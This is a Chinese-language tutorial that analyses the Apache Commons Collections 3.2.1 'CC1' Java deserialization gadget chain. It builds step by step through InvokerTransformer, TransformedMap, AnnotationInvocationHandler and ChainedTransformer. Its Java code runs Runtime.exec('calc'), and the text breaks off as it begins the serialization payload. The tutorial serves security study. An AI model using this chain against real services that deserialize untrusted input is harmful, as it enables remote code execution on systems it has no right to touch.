CC链分析

CC链1

回到顶部

环境部署

<dependency>

<groupId>commons-collections</groupId>

<artifactId>commons-collections</artifactId>

<version>3.2.1</version>

</dependency>

回到顶部

流程分析

入口：org.apache.commons.collections.Transformer

其中有21个实现方法

我们这里找到了有重写transform方法的InvokerTransformer类，并且可以看到它也继承了Serializable，很符合我们的要求

入口类：org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法

input，iMethodName，iParamTypes，iArgs都是可控的

//我们来回顾一下如何利用反射调用Runtime中的exec方法

Runtime r=Runtime.getRuntime();

Class c=r.getclass();

Method m=c.getMethod("exec",String.class);

m.invoke(r,"calc");

//那么我们尝试用transform方法来调用

Runtime runtime = Runtime.getRuntime();

InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

exec.transform(runtime);

可以看到，成功执行了命令，那么我们就找到了源头利用点了，接下来就是一步步回溯，寻找合适的子类，构造漏洞链，直到到达重写了readObject的类

寻找某个类中的某个方法调用了transform方法

看到org.apache.commons.collections.map.TransformedMap下的checkSetValue

//我们找到该类的构造器和checkSetValue方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {

//接受三个参数，第一个为Map，第二个和第三个就是Transformer我们需要得了，可控。

super(map);

this.keyTransformer = keyTransformer;

this.valueTransformer = valueTransformer;//这里是可控的

}

protected Object checkSetValue(Object value) {//接受一个对象类型的参数

return this.valueTransformer.transform(value);

//返回valueTransformer对应的transform方法，那么我们这里就需要让valueTransformer为我们之前的in

}

但是这里有个问题，可以看到构造器和方法都是proteced权限，也就是说只能本类内部访问，不能外部调用去实例化，那么我们就需要找到内部实例化的工具，这里往上查找，可以找到一个public的静态方法decorate

一个静态 方法，这里我们就能控制参数

现在调用transform方法的问题解决了，返回去看checkSetValue，可以看到value我们暂时不能控制，全局搜索checkSetvalue，看谁调用了它，并且value值可受控制

寻找合适的调用了checkSetValue的方法

在AbstractInputCheckedMapDecorator类中发现，凑巧的是，它刚好是TransformedMap的父类

当我们看到了setValue字样就应该想起来，我们在遍历集合的时候就用过setValue和getValue，所以我们只要对decorate这个map进行遍历setValue，由于``TransformedMap继承了AbstractInputCheckedMapDecorator`类，因此当调用setValue时会去父类寻找

重新梳理一遍

首先，我们找到了TransformedMap这个类，我们想要调用其中的checkSetValue方法，但是这个类的构造器是protected权限，只能类中访问，所以我们调用decorate方法来实例化这个类，在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对，然后把这个map当成参数传入，实例化成了一个transformedmap对象，这个对象也是Map类型的，然后我们对这个对象进行遍历，在遍历过程中我们可以调用setValue方法，而恰好又遇到了一个重写了setValue的副类，这个重写的方法刚好调用了checkSetValue方法

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

import java.util.Map;

public class second {

public static void main(String[] args) {

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();

map.put("1","2");

Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry:decorate.entrySet()){

entry.setValue(r);

}

}

}

但这只是一个插曲，终究不是我们所希望的readObject方法，我们需要一个readObject方法来代替上述的遍历Map功能

追寻setValue

追踪一下setValue看是在哪调用的，在AnnotationInvocationHandler中找到，而且还是在重写的readObject中调用的setValue

private void readObject(java.io.ObjectInputStream s)

throws java.io.IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

@SuppressWarnings("unchecked")

Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);

@SuppressWarnings("unchecked")

Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;

try {

annotationType = AnnotationType.getInstance(t);

} catch(IllegalArgumentException e) {

// Class is no longer an annotation type; time to punch out

throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");

}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// consistent with runtime Map type

Map<String, Object> mv = new LinkedHashMap<>();

// If there are annotation members without values, that

// situation is handled by the invoke method.

for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {

String name = memberValue.getKey();

Object value = null;

Class<?> memberType = memberTypes.get(name);

if (memberType != null) { // i.e. member still exists

value = memberValue.getValue();

if (!(memberType.isInstance(value) ||

value instanceof ExceptionProxy)) {

value = new AnnotationTypeMismatchExceptionProxy(

objectToString(value))

.setMember(annotationType.members().get(name));

}

}

mv.put(name, value);

}

我们分析下这个类，未用public声明，说明只能通过反射调用

查看一下构造方法，传入一个class和Map，其中class继承了Annotation，也就是需要传入一个注解类进去，这里我们选择Target

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationTargetException;

import java.util.HashMap;

import java.util.Map;

public class third {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();

map.put("1","2");

Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);

// for (Map.Entry entry:decorate.entrySet()){

// entry.setValue(r);

// }

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);

Object o = declaredConstructor.newInstance(Target.class, decorate);

}

}

现在有个难题是Runtime类是不能被序列化的，但是反射来的类可以被序列化的，还好InvokeTransformer有一个绝佳的反射机制，构造一下：

Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

现在还有个小问题，其中我们的transformedmap是传入了一个invokertransformer，但是现在这个对象没有了，被拆成了多个，就是上述的代码，得想办法统合起来，这里就需要回到最初的Transformer接口里去寻找，找到ChainedTransformer，刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造：

Transformer[] transformers = new Transformer[]{

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();

map.put("1","2");

Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

进一步构造

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import java.io.*;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationTargetException;

import java.util.HashMap;

import java.util.Map;

public class third {

public static void serialize(Object obj) throws IOEx